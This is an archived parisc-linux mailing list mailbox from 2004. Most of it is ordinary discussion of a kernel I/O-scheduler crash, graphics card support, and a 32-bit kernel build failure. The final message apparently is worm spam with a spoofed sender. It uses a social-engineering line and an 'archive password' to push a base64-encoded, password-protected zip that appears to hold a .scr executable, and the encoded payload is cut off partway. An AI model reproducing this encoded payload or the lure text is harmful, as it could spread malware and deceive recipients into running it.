>>  [<1023a978>] scsi_queue_insert+0x6c/0xa0
>>  [<1023b7bc>] scsi_prep_fn+0xc4/0x1dc
>>  [<102368f8>] scsi_dispatch_cmd+0x118/0x22c
>>  [<1021e820>] elv_remove_request+0x34/0x44
>>  [<1023ba80>] scsi_request_fn+0x1ac/0x2bc
>>  [<102273f0>] as_next_request+0x44/0x54
>>  [<10228218>] as_work_handler+0x44/0x48
>>  [<101344e4>] worker_thread+0x1e4/0x280
>>  [<101200cc>] schedule+0x3f8/0x718
>>  [<101385f4>] kthread+0xdc/0xe4
>>  [<10108c5c>] ret_from_kernel_thread+0x1c/0x24
>>
>>[snip]
>>
>>it seems to be infinite loop :(
>>
>>Any idea?
>>
>>Thanks in advance,
>>     Joel
> 
> 
> I'm experiencing a very similar problem with 2.6.5-pa7 on a C180. I'm in
> unfortunate position that my ext3 root filesystem needs INFO recovery,
> but as soon as the recovery kicks in I get:
> 
> arq->state 2
> Badness in as_requeue_request at drivers/block/as-iosched.c:1479
> Kernel addresses on the stack:
> [snip]
>   [<10125d0c>] printk+0x188/0x1c8
>   [<10105638>] dump_stack+0x18/0x24
>   [<101fb740>] as_requeue_request+0x64/0x10c
>   [<101f24b0>] elv_requeue_request+0x2c/0x38
>   [<101f51b4>] blk_insert_request+0xf4/0xfc
>   [<10211c2c>] scsi_queue_insert+0x68/0x9c
>   [<102376f4>] hp_sdc_tasklet+0x80/0x160
>   [<1020dd2c>] scsi_softirq+0xfc/0x11c
>   [<10129990>] do_softirq+0xf4/0xf8
>   [<10129e68>] ksoftirqd+0x84/0xf0
>   [<101398a0>] kthread+0xe8/0xf0
>   [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24
> 
> Can't point to the last kernel version that worked, because this is
> actually the first kernel I've built for the C180, having just
> finished bootstrapping Gentoo. But I'll be happy to provide what
> info I can - seems this problem is real if both a C110 and a C180
> are suffering from it, and they're very similar pieces of hardware.
> 
> cheers
> -Andy
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 21:57:36 +0100 (IST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623375 8312 80.91.229.3 (22 Nov 2014 02:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:35 +0000 (UTC)
Cc: Deiters <ukd@xenon.pc.Uni-Koeln.DE>, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: xam@cs.ucc.ie  Wed Apr 14 14:57:50 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A70A482D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 14:57:50 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3EKvj0o018243;
	Wed, 14 Apr 2004 21:57:45 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 20:57:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21422

On Wed, 14 Apr 2004, John David Anglin wrote:

> > Is it possible to use a non-HP graphics card in a HP computer,
> > or is the question sacrilegious?
>
> Get a HP Vis EG card.  A Voodoo2 may also work.  Search the list.

I think this should be added to the FAQ, like

"What non-HP PCI graphic cards are supported/work with PA-RISC Linux"


Greetings,
   Max


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-pa7 failled to build?
Date: Wed, 14 Apr 2004 21:02:37 +0000
Lines: 113
Approved: news@gmane.org
Message-ID: <407DA6ED.8020007@tiscali.be>
References: <40711E5500005BF8@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623375 8317 80.91.229.3 (22 Nov 2014 02:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <Soete.joel@tiscali.be>
Original-X-From: soete.joel@tiscali.be  Wed Apr 14 15:02:27 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id C099D485C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 15:02:26 -0600 (MDT)
Original-Received: from [83.134.226.77] (port=32829 helo=tiscali.be)
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BDrVG-00034L-0g; Wed, 14 Apr 2004 23:01:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <40711E5500005BF8@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 21:02:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21423

Fortunately build and boot fine on 64bits n4k system (build with gcc-hppa64-3.0)
btw the 32bit one was build with gcc-3.3.3: is there known issue?

Tx,
	Joel

Joel Soete wrote:
> Hi all,
> 
> I just try to recompile 2.6.5-pa7 32bit on my b2k and it failled with following
> ld message:
> [snip]
>   gcc -Wp,-MD,drivers/usb/host/.ohci-hcd.o.d -nostdinc -iwithprefix include
> -D__KERNEL__ -Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
> -Wno-trigraphs -fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
> -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 -fomit-frame-pointer
>     -DKBUILD_BASENAME=ohci_hcd -DKBUILD_MODNAME=ohci_hcd -c -o drivers/usb/host/ohci-hcd.o
> drivers/usb/host/ohci-hcd.c
> In file included from drivers/usb/host/ohci-hcd.c:135:
> drivers/usb/host/ohci-dbg.c: In function `ohci_dump_td':
> drivers/usb/host/ohci-dbg.c:282: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:284: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:309: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:310: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:320: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:320: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:324: warning: passing arg 1 of `__swab16p' discards
> qualifiers from pointer target type
> In file included from drivers/usb/host/ohci-hcd.c:135:
> drivers/usb/host/ohci-dbg.c: In function `ohci_dump_ed':
> drivers/usb/host/ohci-dbg.c:342: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:361: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
> drivers/usb/host/ohci-dbg.c:361: warning: passing arg 1 of `__swab32p' discards
> qualifiers from pointer target type
>    ld   -r -o drivers/usb/host/built-in.o drivers/usb/host/ohci-hcd.o
> make -f scripts/Makefile.build obj=drivers/usb/image
>    rm -f drivers/usb/image/built-in.o; ar rcs drivers/usb/image/built-in.o
> Inconsistency detected by ld.so: dynamic-link.h: 164: elf_get_dynamic_info:
> Assertion `info[9]->d_un.d_val == sizeof (Elf32_Rela)' failed!
> make[3]: *** [drivers/usb/image/built-in.o] Error 127
> make[2]: *** [drivers/usb/image] Error 2
> make[1]: *** [drivers/usb] Error 2
> make: *** [drivers] Error 2
> 
> This b2k is running a sid debian install with mainly:
> # dpkg -l gcc binutils libc6
> Desired=Unknown/Install/Remove/Purge/Hold
> | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
> |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
> ||/ Name                       Version                    Description
> +++-==========================-==========================-====================================================================
> ii  gcc                        3.3.3-2                    The GNU C compiler
> ii  binutils                   2.14.90.0.7-6              The GNU assembler,
> linker and binary utilities
> ii  libc6                      2.3.2.ds1-11               GNU C Library:
> Shared libraries and Timezone data
> 
> And my config file is nearly the c3k one:
> # diff -Nau .config arch/parisc/configs/c3000_defconfig 
> --- .config	2004-04-14 13:29:41.874241120 +0200
> +++ arch/parisc/configs/c3000_defconfig	2004-04-08 12:38:54.000000000 +0200
> @@ -70,14 +70,14 @@
>  CONFIG_IOSAPIC=y
>  CONFIG_IOMMU_SBA=y
>  CONFIG_SUPERIO=y
> -CONFIG_CHASSIS_LCD_LED=y
> +# CONFIG_CHASSIS_LCD_LED is not set
>  # CONFIG_PDC_CHASSIS is not set
>  
>  #
>  # PCMCIA/CardBus support
>  #
>  CONFIG_PCMCIA=m
> -# CONFIG_PCMCIA_DEBUG is not set
> +CONFIG_PCMCIA_DEBUG=y
>  CONFIG_YENTA=m
>  CONFIG_CARDBUS=y
>  # CONFIG_I82092 is not set
> @@ -520,7 +520,8 @@
>  #
>  # Ethernet (10000 Mbit)
>  #
> -# CONFIG_IXGB is not set
> +CONFIG_IXGB=y
> +CONFIG_IXGB_NAPI=y
>  # CONFIG_FDDI is not set
>  # CONFIG_HIPPI is not set
>  CONFIG_PPP=m
> 
> Any idea?
> 
> Joel
> 
> ----------------------------------------------------------------------------------------
> Tiscali ADSL: 35 /mois, la meilleure offre du march!
> http://reg.tiscali.be/default.asp?lg=fr
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:31:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: matthew@wil.cx
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ^_^ meay-meay!
Date: Thu, 15 Apr 2004 03:12:26 +0100
Lines: 427
Approved: news@gmane.org
Message-ID: <gdhiurthedovhtciqqy@wil.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="--------xdaajvnxqspxkxlbtdqt"
X-Trace: ger.gmane.org 1416623376 8319 80.91.229.3 (22 Nov 2014 02:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: matthew@wil.cx  Wed Apr 14 19:04:58 2004
Return-Path: <matthew@wil.cx>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sbs2k (pa17.limanowa.sdi.tpnet.pl [217.96.190.17])
	by dsl2.external.hp.com (Postfix) with SMTP id C2373482D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 19:04:51 -0600 (MDT)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 01:04:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21424

----------xdaajvnxqspxkxlbtdqt
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

 I don't bite, weah!
 
archive password: 56854

----------xdaajvnxqspxkxlbtdqt
Content-Type: application/octet-stream; name="Text.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Text.zip"

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
